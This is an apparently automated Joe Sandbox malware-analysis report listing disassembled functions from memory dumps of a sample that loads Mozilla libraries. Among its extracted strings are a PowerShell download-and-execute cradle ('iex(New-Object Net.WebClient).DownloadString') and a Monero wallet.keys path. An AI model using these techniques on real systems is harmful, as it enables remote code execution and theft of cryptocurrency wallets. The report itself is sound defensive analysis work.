??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C80D38A,?), ref: 6C80DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C80D38A,?), ref: 6C80DD4A

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: eadd39963ca098af1f53b653be14c6d65099a3bf1f34caddb0a8b6c28f56ed3d
Instruction ID: 5d7df0fe8b17f797d12486f3903ba273d1c8f859849e0ea0f9a88c5e2e4765d8
Opcode Fuzzy Hash: eadd39963ca098af1f53b653be14c6d65099a3bf1f34caddb0a8b6c28f56ed3d
Instruction Fuzzy Hash: 0A4157B5B00605CFCB20CF99C9849AAB7B5FF88318F16486AD909ABB11D771FC00CB90

Function 6C7EF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C7EF480

Part of subcall function 6C7BF100: LoadLibraryW.KERNEL32(shell32,?,6C82D020), ref: 6C7BF122
Part of subcall function 6C7BF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C7BF132

CloseHandle.KERNEL32(00000000), ref: 6C7EF555

Part of subcall function 6C7C14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C7C1248,6C7C1248,?), ref: 6C7C14C9
Part of subcall function 6C7C14B0: memcpy.VCRUNTIME140(?,6C7C1248,00000000,?,6C7C1248,?), ref: 6C7C14EF

Part of subcall function 6C7BEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C7BEEE3

CreateFileW.KERNEL32 ref: 6C7EF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C7EF523

Strings

\oleacc.dll, xrefs: 6C7EF4CB

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: f6823d761f3a09129fbc3398e62d4cac578a4e726b3642c21b0d7ec3ff92e100
Instruction ID: 9e9526a69ce36b1b14f4d32d68af94ff3c432897a62b456a760ba7fd58f33bde
Opcode Fuzzy Hash: f6823d761f3a09129fbc3398e62d4cac578a4e726b3642c21b0d7ec3ff92e100
Instruction Fuzzy Hash: 6141D7716047109FD720DF79D944A9BB7F4AF98318F101E2CF5A593650E730D949CB92

Function 00EF2C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 00EFA740: lstrcpy.KERNEL32(00F00E17,00000000), ref: 00EFA788

Part of subcall function 00EFA9B0: lstrlen.KERNEL32(?,01758BB0,?,\Monero\wallet.keys,00F00E17), ref: 00EFA9C5
Part of subcall function 00EFA9B0: lstrcpy.KERNEL32(00000000), ref: 00EFAA04
Part of subcall function 00EFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EFAA12

Part of subcall function 00EFA920: lstrcpy.KERNEL32(00000000,?), ref: 00EFA972
Part of subcall function 00EFA920: lstrcat.KERNEL32(00000000), ref: 00EFA982

Part of subcall function 00EFA8A0: lstrcpy.KERNEL32(?,00F00E17), ref: 00EFA905

ShellExecuteEx.SHELL32(0000003C), ref: 00EF2D85

Strings

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00EF2D04
<, xrefs: 00EF2D39
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00EF2CC4
')", xrefs: 00EF2CB3

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 3ec8da7039d37ebfc2e4e18f1b7a208d802bbb45263e46b02fe77a2689521433
Instruction ID: 73a99bcb051dfb050a34c323765d69a197bba18350a81816e7603beec128a020
Opcode Fuzzy Hash: 3ec8da7039d37ebfc2e4e18f1b7a208d802bbb45263e46b02fe77a2689521433
Instruction Fuzzy Hash: 5B41F2B1C0014C9ADB18EFA0D855BFDB7B4AF50340F449039E60ABB195DFB46A4ADF91

Function 6C8174A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C817526
__Init_thread_footer.LIBCMT ref: 6C817566
__Init_thread_footer.LIBCMT ref: 6C817597

Strings

UnmapViewOfFile2, xrefs: 6C817552
kernel32.dll, xrefs: 6C817557

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 1ed8a73682eb864a3aa78f96495bf1f71ccd994cd146bd36a7057cb837b3a4cf
Instruction ID: 1df8fd2eecccdb2e3cea33f2b56609946ea05cd29b32e0e966fe81751a59d580
Opcode Fuzzy Hash: 1ed8a73682eb864a3aa78f96495bf1f71ccd994cd146bd36a7057cb837b3a4cf
Instruction Fuzzy Hash: A821E032708552A7CA349EE9CB0CE9A37F5EB97328B006D7DD80987F40CB30A801C6D1

Function 6C81C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C81C0E9), ref: 6C81C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C81C437
FreeLibrary.KERNEL32(?,6C81C0E9), ref: 6C81C44C

Strings

NtQueryVirtualMemory, xrefs: 6C81C431
ntdll.dll, xrefs: 6C81C413

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 4b482d8cb22fa1b0bf64e1efcbf9cec707338ea17b131f3f846d807cab6cd4a7
Instruction ID: dbb0bc33428cd5441e291453c23c86f056e3b969863396cad9b416b88e26bd02
Opcode Fuzzy Hash: 4b482d8cb22fa1b0bf64e1efcbf9cec707338ea17b131f3f846d807cab6cd4a7
Instruction Fuzzy Hash: 50E09AB06097219BDF347BF58A08B127BF8A75620CF006D75AE0D91651DB79D004DAD4

Function 6C8175B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C81748B,?), ref: 6C8175B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C8175D7
FreeLibrary.KERNEL32(?,6C81748B,?), ref: 6C8175EC

Strings

RtlNtStatusToDosError, xrefs: 6C8175D1
ntdll.dll, xrefs: 6C8175B3

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 030dc01da95bf01f27fc0053f4c2b775c384116bc27ebcc420ae9c55eb124024
Instruction ID: a21563ffcc41f300a872d9200af906b4b8154e362d5a669db3856d0b46ae0f62
Opcode Fuzzy Hash: 030dc01da95bf01f27fc0053f4c2b775c384116bc27ebcc420ae9c55eb124024
Instruction Fuzzy Hash: 94E052B1604652AADF305BE5CA487157AF8A75721CF10BC7AA90D91A40DA759041DAD0

Function 00EE9E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00EE9F41

Part of subcall function 00EFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EFA7E6

Part of subcall function 00EFA740: lstrcpy.KERNEL32(00F00E17,00000000), ref: 00EFA788

Strings

v10, xrefs: 00EE9EA3
ERROR_RUN_EXTRACTOR, xrefs: 00EE9E67
@, xrefs: 00EE9EF1
v20, xrefs: 00EE9E21

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 2b2159ca4e68f6981033142bfce4b28b2fa351749c2f64603b370eaf670252d0
Instruction ID: 780c01eca09b9f29ef1bbaf1ab84282bf74e6b3a00d39816718e23b676a92bb3
Opcode Fuzzy Hash: 2b2159ca4e68f6981033142bfce4b28b2fa351749c2f64603b370eaf670252d0
Instruction Fuzzy Hash: 44614171A0028CDBDB28EFA5CC96FED77B5AF44340F049128FA096F191EB746A45CB52

Function 6C7C1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C7C152B,?,?,?,?,6C7C1248,?), ref: 6C7C159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C7C152B,?,?,?,?,6C7C1248,?), ref: 6C7C15BC
moz_xmalloc.MOZGLUE(-00000001,?,6C7C152B,?,?,?,?,6C7C1248,?), ref: 6C7C15E7
free.MOZGLUE(?,?,?,?,?,?,6C7C152B,?,?,?,?,6C7C1248,?), ref: 6C7C1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C7C152B,?,?,?,?,6C7C1248,?), ref: 6C7C1637

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 077b14b9e2e3dfe70a34d921b4a7c6a837092348bb73f15a9ed15a1167f41e92
Instruction ID: e1d26d0c36ef629ff597ae60f006ca53bb2b57a22f41e912eef2cda2f63dfaf1
Opcode Fuzzy Hash: 077b14b9e2e3dfe70a34d921b4a7c6a837092348bb73f15a9ed15a1167f41e92
Instruction Fuzzy Hash: FE31F672B001068FC7188E78DA5446E73A9BB813647250B3DE423DBBD5EB30D9158793

Function 6C7BB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C7BB532
moz_xmalloc.MOZGLUE(?), ref: 6C7BB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C7BB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C7BB57E
free.MOZGLUE(00000000), ref: 6C7BB58F

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 341d7891658c2b6387ab97dd1da03410c6357a9a6bda8b3a722cbac5646c20ab
Instruction ID: e1c4d6a4bdae65f5386ea32fe990287daa4dd51a8f94409df5c9efddd59322eb
Opcode Fuzzy Hash: 341d7891658c2b6387ab97dd1da03410c6357a9a6bda8b3a722cbac5646c20ab
Instruction Fuzzy Hash: 5621F8716002059BDB109F68CE84B6ABBB9FF41308F244139ED18DB341E775E911C7A1

Function 00EF6920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 00EF696C
sscanf.NTDLL ref: 00EF6999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00EF69B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00EF69C0
ExitProcess.KERNEL32 ref: 00EF69DA

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: bcbc8d9915b45a8e4aa41e892fbff8f8a6077f322e5cca067468ae2c24a9169b
Instruction ID: 49913c80ba7888b2e680e29c790318c38c7d716f0ccec4bdc2b2cba85e94fe66
Opcode Fuzzy Hash: bcbc8d9915b45a8e4aa41e892fbff8f8a6077f322e5cca067468ae2c24a9169b
Instruction Fuzzy Hash: 6521D8B5D0020CABCB18EFE4E9459EEB7B9FF48300F04852AE516B3244EB745614CB69

Function 00EF9260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0175DC88,?,?,?,00EF140C,?,0175DC88,00000000), ref: 00EF926C
lstrcpyn.KERNEL32(0112AB88,0175DC88,0175DC88,?,00EF140C,?,0175DC88), ref: 00EF9290
lstrlen.KERNEL32(?,?,00EF140C,?,0175DC88), ref: 00EF92A7
wsprintfA.USER32 ref: 00EF92C7

Strings

%s%s, xrefs: 00EF92B5

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 5a82e37c100241b3a087bcb05c80c6ee7b71cbbf6522361dd0f8e178dd05996b
Instruction ID: 4e0398cb6d731fc5f850a8f0b5a0bc7210f055fcd75346ae3e847c168d9a9af6
Opcode Fuzzy Hash: 5a82e37c100241b3a087bcb05c80c6ee7b71cbbf6522361dd0f8e178dd05996b
Instruction Fuzzy Hash: 0E01E575500108FFCB18DFE8E984EAE7BB9EF48354F108548F90A9B605C631AAA0DB90

Function 6C7F0D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C7B3DEF), ref: 6C7F0D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C7B3DEF), ref: 6C7F0D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C7B3DEF), ref: 6C7F0DAF

Strings

<jemalloc>, xrefs: 6C7F0D92, 6C7F0DB9
: (malloc) Error in VirtualFree(), xrefs: 6C7F0D97, 6C7F0DBE

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
